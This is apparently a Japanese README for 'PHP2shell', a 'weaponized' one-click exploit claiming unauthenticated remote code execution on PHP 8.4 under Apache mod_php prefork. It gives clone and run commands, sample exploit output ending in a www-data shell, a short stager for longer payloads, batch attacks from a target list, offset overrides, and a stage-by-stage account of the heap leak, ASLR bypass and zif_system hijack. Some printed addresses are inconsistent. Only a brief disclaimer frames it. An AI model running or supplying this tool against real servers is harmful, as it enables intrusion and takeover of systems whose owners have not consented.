
CVE-2026-109618 および CVE-2026-109619 に対する、脆弱な PHP + Apache mod_php(prefork)ターゲット向けのワンクリックエクスプロイト PoC。
CVE-2026-109618 & CVE-2026-109619 向けのワンクリック兵器化 PoC
脆弱な PHP + Apache mod_php (prefork) デプロイメントを標的としています。
⚠️ 警告: このツールは認可されたセキュリティテスト、CTF、および教育目的の研究に限定して提供されています。所有していない、または明示的なテスト許可を得ていないインフラストラクチャに対して使用しないでください。作者は悪用について一切の責任を負いません。
PHP2shell は、Apache mod_php prefork 環境内の PHP コアを標的とする多段階のメモリ破壊エクスプロイトです。
メモリ不足 (OOM) 処理と、永続ワーカー内に残存するリクエスト所有の状態を悪用することで、このエクスプロイトは ASLR (Address Space Layout Randomization) を回避し、内部ヒープおよび libphp.so のポインタをリークし、PHP 構造体を偽造して未認証のリモートコード実行 (RCE) を実現します。
bookworm (デフォルト): Debian Bookworm 上の公式 php:8.4.26-apache Docker イメージ。lab: カスタムラボビルド (PHP 8.4.26、Apache 2.4.68、Debian 12、gcc 12)。数秒でセットアップして実行できます。
git clone https://github.com/0xgh057r3c0n/PHP2shell.git
cd PHP2shell
chmod +x php2shell.py
python3 php2shell.py -u http://127.0.0.1:8088/index.php
$ python3 php2shell.py -u http://target.local/index.php
.__ ________ .__ .__ .__
______ | |__ ______ \_____ \ _____| |__ ____ | | | |
\____ \| | \\____ \ / ____/ / ___/ | \_/ __ \| | | |
| |_> > Y \ |_> > \ \___ \| Y \ ___/| |_| |__
| __/|___| / __/\_______ \/____ >___| /\___ >____/____/
|__| \/|__| \/ \/ \/ \/
php2shell — CVE-2026-109618 / CVE-2026-109619
CVSS v4.0: 9.2 Critical
author: 0xgh057r3c0n
[*] target http://target.local/index.php (cmd='id>/out/p1')
[*] offsets: zif=0x690d8 dtor=0x613c50 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x7f8a40000000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x7f8a12345000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x7f8a40690d8 ZIF=0x7f8a123a9a870
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
キャリアサイズが167バイトであるため、コマンド長は厳密に14バイトに制限されます。より長いペイロードを実行するには、短いステージャーを使用してください:
python3 php2shell.py -u http://target.local/index.php -c 'sh</out/c'
targets.txt ファイルを作成します:
http://10.0.0.1/index.php
https://10.0.0.2/index.php
target.local
すべてのターゲットに対してエクスプロイトを順次実行します:
python3 php2shell.py -t targets.txt
オフセットを手動で抽出した場合、またはカスタムビルドを対象としている場合は、それらを直接渡します:
python3 php2shell.py -u http://target.local/index.php \
--zif-offset 0x43A870 \
--dtor-offset 0x613C50 \
--htdata-offset 0x690D8
ローカルファイルを確認する代わりに、HTTP経由でファイルを取得してRCEを検証するようエクスプロイトに強制します:
python3 php2shell.py -u http://target.local/index.php \
-c 'id>/out/p1' \
--proof-file '' \
--fetch /out/p1
| 引数 | 説明 |
|---|---|
-u, --url | 対象のPHPページURL |
-t, --target-file | 1行に1つの対象URLを記載したファイル |
-c, --cmd | 実行するコマンド(最大14バイト) |
--proof-file | 確認するローカルのproofファイル(デフォルト: out/p1) |
--fetch | リモートで悪用を検証するためのGETパス |
--profile | 対象プロファイル: bookworm(デフォルト)または lab |
--zif-offset | libphp.so 内の zif_system のオフセット |
--dtor-offset | libphp.so 内の ZVAL_PTR_DTOR のオフセット |
--htdata-offset | 167バイト文字列のチャンク相対オフセット |
--retries | リーク段階ごとの試行回数(デフォルト: 3) |
--no-color | ANSIカラーを無効化 |
| ステージ 0 | ワーカーローテーション: 過大なリクエストを送信し、Apache prefork に現在のワーカーを中止させ、クリーンなヒープを持つ新しい子プロセスをフォークさせます。 |
| ステージ 1 | ヒープリーク: OOM破壊を引き起こし、モジュールグローバルのポインタが解放済みメモリを参照するようにします。スプレーしたフォームフィールドで偽造された zend_string によりそのスロットを再利用し、Set-Cookie 経由でヒープポインタをリークします。 |
| ステージ 2 | ASLRバイパス: libphp.so から zval_ptr_dtor ポインタをリークします。既知の DTOR_OFFSET を減算することで、ライブラリのベースアドレスが判明します。 |
| ステージ 3 | RCE: 偽の HashTable を偽造し、pDestructor を libphp_base + ZIF_OFFSET に設定します。PHPのクリーンアップルーチンが、あなたのコマンドを引数として zif_system を呼び出します。 |
MIT License の下でライセンスされています。詳細は LICENSE を参照してください。
🔥 を込めて 0xgh057r3c0n が制作